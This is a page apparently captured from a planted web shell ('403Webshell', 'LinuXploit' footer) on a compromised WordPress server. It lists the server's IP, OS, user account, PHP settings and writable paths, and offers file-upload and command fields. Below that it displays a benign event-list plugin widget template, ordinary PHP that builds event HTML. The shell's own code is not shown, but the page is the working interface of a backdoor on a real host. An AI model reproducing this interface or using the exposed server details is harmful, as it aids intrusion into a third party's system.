403Webshell
Server IP : 80.65.208.158  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/10.0
System : Windows NT VMI1501711 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_134(rotechno) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/rotechnochem.com/httpdocs/wp-content/plugins/easy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/rotechnochem.com/httpdocs/wp-content/plugins//easy/vsel-widget-template.php
<?php
// disable direct access
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// start event container
$output .= '<div id="event-'.get_the_ID().'" class="vsel-content'.vsel_event_cats().vsel_event_status().'">';
	// start event details
	$output .= '<div class="vsel-meta vsel-alignleft" style="width:100%; box-sizing:border-box;">';
		// if date icon is displayed next to other event details
		if ( ($widget_date_hide != 'yes') && ($widget_date_type == 'icon') && ($widget_meta_combine == 'yes') ) {
			$output .= '<div class="vsel-meta-combine">';
		// if not
		} else {
			// display title
			if  ($widget_title_hide != 'yes') {
				$output .= $widget_event_title;
			}
		}
		// date
		if ( $widget_date_hide != 'yes' ) {
			if ( empty($start_date) || empty($end_date) || ($start_date > $end_date) ) {
				$output .= '<div class="vsel-meta-date vsel-meta-error">';
				$output .= esc_attr__( 'Error: please reset date.', 'very-simple-event-list' );
				$output .= '</div>';
			} elseif ($end_date > $start_date) {
				if ( $widget_date_type == 'icon' ) {
					if ($widget_date_format == 'j F Y' || $widget_date_format == 'd/m/Y' || $widget_date_format == 'd-m-Y') {
						$output .= '<div class="vsel-meta-date-icon vsel-meta-combined-date-icon"><div class="vsel-start-icon">';
						$output .= $widget_start_icon_1;
						$output .= '</div>';
						$output .= '<div class="vsel-end-icon">';
						$output .= $widget_end_icon_1;
						$output .= '</div></div>';
					} else {
						$output .= '<div class="vsel-meta-date-icon vsel-meta-combined-date-icon"><div class="vsel-start-icon">';
						$output .= $widget_start_icon_2;
						$output .= '</div>';
						$output .= '<div class="vsel-end-icon">';
						$output .= $widget_end_icon_2;
						$output .= '</div></div>';
					}
				} else {
					if ($widget_date_combine == 'yes') {
						$output .= '<div class="vsel-meta-date vsel-meta-combined-date">';
						$output .= $widget_start_default;
						$output .= ' '.esc_attr($date_separator).' ';
						$output .= $widget_end_default;
						$output .= '</div>';
					} else {
						$output .= '<div class="vsel-meta-date vsel-meta-start-date">';
						$output .= $widget_start_default;
						$output .= '</div>';
						$output .= '<div class="vsel-meta-date vsel-meta-end-date">';
						$output .= $widget_end_default;
						$output .= '</div>';
					}
				}
			} elseif ($end_date == $start_date) {
				if ( $widget_date_type == 'icon' ) {
					if ($widget_date_format == 'j F Y' || $widget_date_format == 'd/m/Y' || $widget_date_format == 'd-m-Y') {
						$output .= '<div class="vsel-meta-date-icon vsel-meta-single-date-icon"><div class="vsel-start-icon">';
						$output .= $widget_start_icon_1;
						$output .= '</div></div>';
					} else {
						$output .= '<div class="vsel-meta-date-icon vsel-meta-single-date-icon"><div class="vsel-start-icon">';
						$output .= $widget_start_icon_2;
						$output .= '</div></div>';
					}
				} else {
					$output .= '<div class="vsel-meta-date vsel-meta-single-date">';
					$output .= $widget_same_default;
					$output .= '</div>';
				}
			}
		}
		// if date icon is displayed next to other event details
		if ( ($widget_date_hide != 'yes') && ($widget_date_type == 'icon') && ($widget_meta_combine == 'yes') ) {
			$output .= $widget_event_title;
		}
		// time
		if ( $widget_time_hide != 'yes' ) {
			if ( $one_time_field != 'yes' ) {
				if ( ($start_date == $end_date) && ($start_time > $end_time) ) {
					$output .= '<div class="vsel-meta-time vsel-meta-error">';
					$output .= esc_attr__( 'Error: please reset time.', 'very-simple-event-list' );
					$output .= '</div>';
				} else {
					if ( $all_day_event == 'yes' ) {
						$output .= '<div class="vsel-meta-time vsel-meta-all-day">';
						$output .= esc_attr($widget_all_day_label);
						$output .= '</div>';
					} else {
						if ( ($hide_equal_time == 'yes') && ($start_time == $end_time) ) {
							$output .= '';
						} else {
							if ( $hide_end_time == 'yes' ) {
								$end = '';
							} else {
								$end = ' '.esc_attr($time_separator).' '.wp_date( esc_attr($template_time_format), esc_attr($end_date_timestamp), $utc_timezone );
							}		
							$output .= '<div class="vsel-meta-time">';
							$output .= sprintf(esc_attr($widget_time_label), '<span>'.wp_date( esc_attr($template_time_format), esc_attr($start_date_timestamp), $utc_timezone ).$end.'</span>' );
							$output .= '</div>';
						}
					}
				}
			} else {
				if (!empty($time)) {
					$output .= '<div class="vsel-meta-time">';
					$output .= sprintf(esc_attr($widget_time_label), '<span>'.esc_attr($time).'</span>' );
					$output .= '</div>';
				}
			}
		}
		// location
		if ( $widget_location_hide != 'yes' ) {
			if (!empty($location)) {
				$output .= '<div class="vsel-meta-location">';
				$output .= sprintf(esc_attr($widget_location_label), '<span>'.esc_attr($location).'</span>' );
				$output .= '</div>';
			}
		}
		// include acf fields
		if ( class_exists('acf') && ( empty($widget_acf_fields) || ($widget_acf_fields == 'no') || ($widget_acf_fields == 'details') ) ) {
			include 'vsel-acf.php';
		}
		// more info link
		if ( ($redirect_title_to_more_info != 'yes') && ($redirect_image_to_more_info != 'yes') ) {
			if ( $widget_link_hide != 'yes' ) {
				if (!empty($more_info_link)) {
					$output .= '<div class="vsel-meta-link">';
					$output .= '<a href="'.esc_url($more_info_link).'" rel="noopener noreferrer" '.$more_info_link_target.' title="'.esc_url($more_info_link).'">'.esc_attr($more_info_link_label).'</a>';
					$output .= '</div>';
				}
			}
		}
		// categories
		if ( $widget_cats_hide != 'yes' ) {
			$cats_raw = wp_strip_all_tags( get_the_term_list( get_the_ID(), 'event_cat', '<span>', ' '.esc_attr($cat_separator).' ', '</span>' ) );
			$cats = get_the_term_list( get_the_ID(), 'event_cat', '<span>', ' '.esc_attr($cat_separator).' ', '</span>' );
			if ( has_term( '', 'event_cat', get_the_ID() ) ) {
				if ($widget_link_cat != 'yes') {
					$output .= '<div class="vsel-meta-cats">';
					$output .= $cats_raw;
					$output .= '</div>';
				} else {
					$output .= '<div class="vsel-meta-cats">';
					$output .= $cats;
					$output .= '</div>';
				}
			}
		}
		// if date icon is displayed next to other event details
		if ( ($widget_date_hide != 'yes') && ($widget_date_type == 'icon') && ($widget_meta_combine == 'yes') ) {
			$output .= '</div>';
		}
	// end event details
	$output .= '</div>';
	// start event info
	if ( ($widget_image_hide == 'yes') && ($widget_info_hide == 'yes') ) {
		$output .= '';
	} else {
		$output .= '<div class="vsel-info vsel-alignleft" style="width:100%; box-sizing:border-box;">';
			// featured image
			if ($vsel_widget_atts['featured_image'] != 'false') {
				if ( $widget_image_hide != 'yes' ) {
					if ( has_post_thumbnail() ) {
						$image_alt = get_post_meta( get_post_thumbnail_id( get_the_ID() ), '_wp_attachment_image_alt', true );
						$image_title = get_the_title( get_post_thumbnail_id( get_the_ID() ) );
						if(!empty ($image_alt) ) {
							$image_alt = $image_alt;
						} else {
							$image_alt = $image_title;
						}
						$caption = get_the_post_thumbnail_caption( get_the_ID() );
						if ( !empty($caption) && ($vsel_widget_atts['featured_image_caption'] != 'false') ) {
							$image_caption = '<figcaption class="vsel-caption">'.$caption.'</figcaption>';
						} else {
							$image_caption = '';
						}
						if ($vsel_widget_atts['featured_image_link'] == 'false') {
							$output .= '<figure class="vsel-image-figure '.$widget_img_class.'" style="'.$widget_image_max_width.'">'.get_the_post_thumbnail( get_the_ID(), $widget_image_source, array( 'class' => 'vsel-image-img', 'alt' => $image_alt ) ).$image_caption.'</figure>';
						} else {
							if ( ($redirect_image_to_more_info == 'yes') && !empty($more_info_link) ) {
								$output .=  '<figure class="vsel-image '.$widget_img_class.'" style="'.$widget_image_max_width.'"><a href="'.esc_url($more_info_link).'" rel="noopener noreferrer" '.$more_info_link_target.'>'.get_the_post_thumbnail( get_the_ID(), $widget_image_source, array( 'class' => 'vsel-image-img', 'alt' => $image_alt ) ).$image_caption.'</a></figure>';
							} elseif ($widget_link_image == 'yes') {
								$output .=  '<figure class="vsel-image '.$widget_img_class.'" style="'.$widget_image_max_width.'"><a href="'.get_permalink().'" rel="bookmark">'.get_the_post_thumbnail( get_the_ID(), $widget_image_source, array( 'class' => 'vsel-image-img', 'alt' => $image_alt ) ).$image_caption.'</a></figure>';
							} else {
								$output .= '<figure class="vsel-image '.$widget_img_class.'" style="'.$widget_image_max_width.'">'.get_the_post_thumbnail( get_the_ID(), $widget_image_source, array( 'class' => 'vsel-image-img', 'alt' => $image_alt ) ).$image_caption.'</figure>';
							}
						}
					}
				}
			}
			// event text
			if ( $widget_info_hide != 'yes' ) {
				$output .= '<div class="vsel-text">';
					if ( $vsel_widget_atts['event_info'] == 'summary' ) {
						if ( !empty($summary) ) {
							$output .= apply_filters( 'the_excerpt', $summary );
						} else {
							$output .= apply_filters( 'the_excerpt', get_the_excerpt() );
						}
					} elseif ( $vsel_widget_atts['event_info'] == 'all' ) {
						$output .= apply_filters( 'the_content', get_the_content() );
					} else {
						if ( $widget_event_info == 'summary' ) {
							if ( !empty($summary) ) {
								$output .= apply_filters( 'the_excerpt', $summary );
							} else {
								$output .= apply_filters( 'the_excerpt', get_the_excerpt() );
							}
						} else {
							$output .= apply_filters( 'the_content', get_the_content() );
						}
					}
					if ($vsel_widget_atts['read_more'] != 'false') {
						if ($widget_read_more == 'yes') {
							$output .= '<a class="vsel-read-more" href="'.get_permalink().'" rel="bookmark">'.esc_attr($widget_read_more_label).'</a>';
						}
					}
				$output .= '</div>';
			}
			// include acf fields
			if ( class_exists('acf') && ($widget_acf_fields == 'info') ) {
				$acf_fields = get_fields();
				$has_acf_fields = false;
				if ( $acf_fields ) {
					foreach( $acf_fields as $acf_field => $acf_field_value ) {
						if ( !empty($acf_field_value) ) {
							$has_acf_fields = true;
						}
					}
					if ( $has_acf_fields == true ) {
						$output .= '<div class="vsel-info-acf-fields">';
							include 'vsel-acf.php';
						$output .= '</div>';
					}
				}
			}
		// end event info
		$output .= '</div>';
	}
// end event container
$output .= '</div>';

Youez - 2016 - github.com/yon3zu
LinuXploit